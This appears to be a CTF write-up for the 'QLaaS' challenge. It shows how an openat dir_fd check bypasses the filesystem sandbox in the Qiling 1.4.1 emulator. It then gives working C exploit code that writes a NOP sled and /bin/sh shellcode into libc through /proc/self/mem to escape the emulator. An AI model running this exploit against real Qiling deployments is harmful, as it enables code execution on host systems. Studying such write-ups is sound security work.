Qiling Sandbox Escape

Share on:

Overview

Writeup by: Oliver Lyak (ly4k)

Solved by: Zopazz, Oliver Lyak (ly4k)

QLaaS

QLaaS (Qiling as a Service) was a Clone-and-Pwn challenge with difficulty Schrödinger (whatever that means). The challenge was solved by 23 out of 947 teams.

We are provided with the following attachment:

The attachment contains a single file (main.py):

#!/usr/bin/env python3

import os
import sys
import base64
import tempfile
# pip install qiling==1.4.1
from qiling import Qiling

def my_sandbox(path, rootfs):
    ql = Qiling([path], rootfs)
    ql.run()

def main():
    sys.stdout.write('Your Binary(base64):\n')
    line = sys.stdin.readline()
    binary = base64.b64decode(line.strip())
    
    with tempfile.TemporaryDirectory() as tmp_dir:
        fp = os.path.join(tmp_dir, 'bin')

        with open(fp, 'wb') as f:
            f.write(binary)

        my_sandbox(fp, tmp_dir)

if __name__ == '__main__':
    main()

The challenge is running on 47.242.149.197:7600 and the goal is to execute the SUID binary /readflag which will print out the contents of /flag.

The challenge is relatively straightforward. We can upload and emulate an arbitrary executable inside a sandbox using Qiling version 1.4.1 (the latest version at the time of writing). As such, we need to figure out how to escape the sandbox and ultimately achieve arbitrary code execution.

Qiling

Qiling is “an advanced binary emulation framework” that can be used to emulate multiple platforms, architectures, file formats, and much more. One feature of Qiling, according to their README, is that it “emulates and sandbox code in an isolated environment”.

Qiling uses Unicorn for the CPU emulation, but everything related to the OS is handled by Qiling. This means that Qiling has implemented various syscalls for multiple platforms, including Windows, Linux, and MacOS to name a few.

Qiling also provides the feature to emulate a binary in a sandboxed environment. This is especially useful for providing a fake filesystem for instance when emulating a Windows binary on Linux, or when a sandbox is desired. Here’s an example from their README that shows how to use Qiling framework to emulate a Windows EXE on a Linux machine:

from qiling import *

# sandbox to emulate the EXE
def my_sandbox(path, rootfs):
    # setup Qiling engine
    ql = Qiling(path, rootfs)
    # now emulate the EXE
    ql.run()

if __name__ == "__main__":
    # execute Windows EXE under our rootfs
    my_sandbox(["examples/rootfs/x86_windows/bin/x86_hello.exe"], "examples/rootfs/x86_windows")

It’s that easy. Now, the sandbox (or “rootfs”) should restrict any file operations to happen within the sandbox. It’s important to note that everything is emulated, so even if we escaped the filesystem sandbox, we would still have to escape the binary emulation.

Setup

To debug and test our solution, we can easily make an almost identical setup. First, we create a new empty folder called rootfs which will be our local filesystem sandbox. We can then install Qiling via Pip and use the following script for the emulation:

import os
import sys
import base64
import tempfile
# pip install qiling==1.4.1
from qiling import Qiling

def my_sandbox(path, rootfs):
    ql = Qiling([path], rootfs)
    ql.run()

def main():
    my_sandbox("rootfs/payload", "rootfs")

if __name__ == '__main__':
    main()

And finally, our payload binary that will be emulated can be compiled with:

gcc payload.c -static -o rootfs/payload

If we don’t compile our binary statically, then Qiling won’t be able to find any shared libraries in our empty rootfs.

With everything set up, we can make a quick test to see the filesystem sandbox in action.

Vulnerability Discovery

At this point, we should have a basic understanding of Qiling and the sandbox feature. Qiling has implemented a lot (but not all) of syscalls for various operating systems, and it would be a good place to start hunting for vulnerabilities in these implementations, especially for syscalls related to the filesystem.

The Qiling source code contains over 500 files with almost 100.000 lines of Python code. But if we focus only on the implementations of Posix syscalls, we’re down to around 4.000 lines of Python code. Let’s start by looking at how the open Posix syscall is implemented. The implementation cound be found in qiling/os/posix/syscall/fcntl.py.

On lines 16-18, the filename (path) is converted to a “real path” and a “relative path”, which is only used for logging on lines 40-45. On line 23, a possible file descriptor value (idx) is obtained by finding an empty slot in the list of file descriptors ql.os.fd. For instance, 0, 1, and 2 are already allocated to stdin, stdout, and stderr, respectively. Then on line 33, the flags are passed to ql_open_flag_mapping, and finally on line 34, ql.os.fs_mapper.open_ql_file is called with path, flags, and mode. For now, let’s just pretend that these values are passed directly from our syscall open(const char *pathname, int flags, mode_t mode) (OPEN(2)).

The function open_ql_file can be found inside of qiling/os/mapper.py.

Here, we can also see an optional parameter dir_fd, which we’ll come back to later on. First, this function checks if the Qiling instance already contains a mapping for the file, i.e. the file is already opened. If that’s not the case, the function checks if the parameter dir_fd is set. If that’s the case, the function will call ql_file.open with the parameters passed directly. If the parameter dir_fd is not set, the function will call transform_to_real_path on the path, and then call ql_file.open. We will come back to transform_to_real_path in a bit, but let’s focus on ql_file.open for now. This function can be found in qiling/os/filestruct.py.

This function is relatively simple. It masks the open_mode (mode) with 0x7fffffff and then calls os.open with the parameters. The function os.open is the from the Python standard library. Now, you might be thinking, “where is the sandbox implemented?”. And to answer the question, we need to go back to the function open_ql_file. Here we noticed that if the parameter dir_fd was not set, then the path was passed to transform_to_real_path before being passed to ql_file.open. The transform_to_real_path function can be found in qiling/os/path.py.

In this function, we see our first reference to rootfs. On line 131, the function convert_path is called with (self.ql.rootfs, self.cwd, path). If we take a closer look at that function (found earlier in the same file), we can see that the real_path is constructed by prepending the rootfs to the normalized concatenation of the current working directory (cwd) and our supplied path.

Let’s suppose the rootfs (sandbox) is set to /tmp/sandbox, the current working directory is set to /, and the path we try to open is ../../etc/passwd. First, the current working directory and the path is concatenated and normalized, which results in /etc/passwd. This path is then prepended by the rootfs, which results in /tmp/sandbox/etc/passwd. So path traversal is not an option.

Back in transform_to_real_path, real_path should now point inside of the rootfs. So this is where the filesystem sandbox comes in. But then the function checks if the real_path is a symbolic link. If that’s the case, the function reads the symbolic link value and stores it to link_path. Now, if the symbolic link is not absolute, then real_path is set to Path(os.path.join(os.path.dirname(real_path), link_path)). The function then checks whether real_path exists. We will skip this part. But let’s go back to the part where the real_path is constructed from the symbolic link.

Let’s suppose we have created a symbolic link /mylink in our sandbox that points to ../../../etc/passwd, and the sandbox is /tmp/mysandbox. The variable real_path will in this case be /tmp/mysandbox/mylink, which points to ../../../etc/passwd. On line 134, the pointer for the symbolic link /mylink is saved in link_path. Since the symbolic link is not absolute, the link is concatenated with the directory of the real path. Here’s a quick demonstration.

So if we can create symbolic links, we can successfully read and write files outside of the filesystem sandbox. But unfortunately, if we try to create a symbolic link, we notice that Qiling has not implemented this syscall.

But now we have an idea of how the filesystem sandbox is used. There is however an interesting case. Remember that inside open_ql_file, transform_to_real_path was only called if the parameter dir_fd was not set. This means that if we can specify a dir_fd along with our open syscall, then we can bypass the sandbox.

Back in qiling/os/posix/syscall/fcntl.py, we find that the dir_fd parameter can be passed through the openat syscall.

The syscall openat is similar to the open syscall, except that an additional parameter dirfd is supplied. Here’s a snippet from the man page (OPEN(2)):

The openat() system call operates in exactly the same way as open(), except for the differences described here.

   If the pathname given in pathname is relative, then it is interpreted relative to the directory referred to by the file descriptor dirfd (rather than relative to the current working directory of the calling process, as is done by open() for a relative pathname).

   If pathname is relative and dirfd is the special value AT_FDCWD, then pathname is interpreted relative to the current working directory of the calling process (like open()).

   If pathname is absolute, then dirfd is ignored.

And the last line is crucial: “If pathname is absolute, then dirfd is ignored.” The implementation of the openat syscall will eventually call open_ql_file with the dir_fd parameter, and in this case, where the dir_fd parameter is set, the sandbox will have no effect. On line 104 there is however a minor check that the dir_fd parameter is an existing file descriptor, but we can just use 1 for stdout. So let’s try it out on the remote server:

Success! We are now able to read and write files outside of the sandbox, but remember that the goal is to execute /readflag - without emulation. Fear not, the last part is relatively short in comparison to this part.

Exploitation

At this point, we can read and write files outside of the sandbox with openat. The next step is to get code execution. So what files would be interesting to write to? Perhaps we could overwrite some Python script on disk, but this is a shared server, so that’s not very likely and also not very flexible for other situations. But remember that we’re currently running inside of a Python process, so let’s see if we can just overwrite some memory of our current process to get code execution. First, let’s try to read the mappings of our current process by reading the contents of /proc/self/maps.

Excellent. The full mapping is truncated, but we can essentially get the addresses of different memory mappings and their protections by reading the /proc/self/maps file. To read and write memory inside of our current process, we can open /proc/self/mem, which is a virtual file for our current process’ memory, and then call lseek to seek the desired address.

The next step is to find something interesting to overwrite. We could try to find some Python bytecode in memory and overwrite it, but that’s rather cumbersome. Since we have full control over the memory, and memory protections don’t have any effect on our read/write operations, we can just overwrite some executable code.

A good target candidate for an executable mapping is “libc”, because it’s used heavily by Python, so if we’re lucky, we can overwrite some code that will get executed within a short time. To increase our chances, we can use a “NOP sled”. A NOP sled is just a sequence of NOP (no-operation) instructions meant to “slide” the CPU’s instruction execution flow to its final destination. We can then add our desired shellcode at the end of the NOP sled. This means that if we overwrite a Libc function that is in the middle of our NOP sled, and the function is executed, then the CPU will just slide straight into our desired shellcode.

So the plan is to create a shellcode with a huge NOP sled, find an executable mapping for Libc and then overwrite the code with our shellcode.

Here’s the C implementation.

#include <unistd.h>
#include <stdio.h>
#include <fcntl.h>
#include <sys/types.h>
#include <string.h>

unsigned char shellcode[] = {
  0x90, 0x90, 0x90, [...], 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90,
  0x90, 0x90, 0x90, 0x90, 0x6a, 0x68, 0x48, 0xb8, 0x2f, 0x62, 0x69, 0x6e,
  0x2f, 0x2f, 0x2f, 0x73, 0x50, 0x48, 0x89, 0xe7, 0x68, 0x72, 0x69, 0x01,
  0x01, 0x81, 0x34, 0x24, 0x01, 0x01, 0x01, 0x01, 0x31, 0xf6, 0x56, 0x6a,
  0x08, 0x5e, 0x48, 0x01, 0xe6, 0x56, 0x48, 0x89, 0xe6, 0x31, 0xd2, 0x6a,
  0x3b, 0x58, 0x0f, 0x05
};
unsigned int shellcode_len = 4144;


int main() {
    long start_addr;

    // Open mappings
    int map = openat(1, "/proc/self/maps", O_RDONLY);

    // Open Python process memory
    int mem = openat(1, "/proc/self/mem", O_RDWR);
    FILE *fp_map = fdopen(map, "r");

    // Find the first executable mapping for Libc
    char line[4096];
    while (fgets(line, sizeof line, fp_map)) {
        size_t len = strlen(line);
        if (strstr(line, "r-xp") != NULL && strstr(line, "libc-")) {
            // Retrive start address of mapping
            sscanf(line, "%lx-", &start_addr);
            break;
        }
    }

    // Seek to the address of the executable mapping for Libc 
    lseek(mem, start_addr, SEEK_SET);

    // Write the payload into the executable mapping
    write(mem, shellcode, shellcode_len);
}

The shellcode in this example is 4096 NOPs followed by some shellcode that will spawn /bin/sh. Let’s see it in action:

And there we have it: rwctf{s0-many-vu1n_but-only-few-exploitable}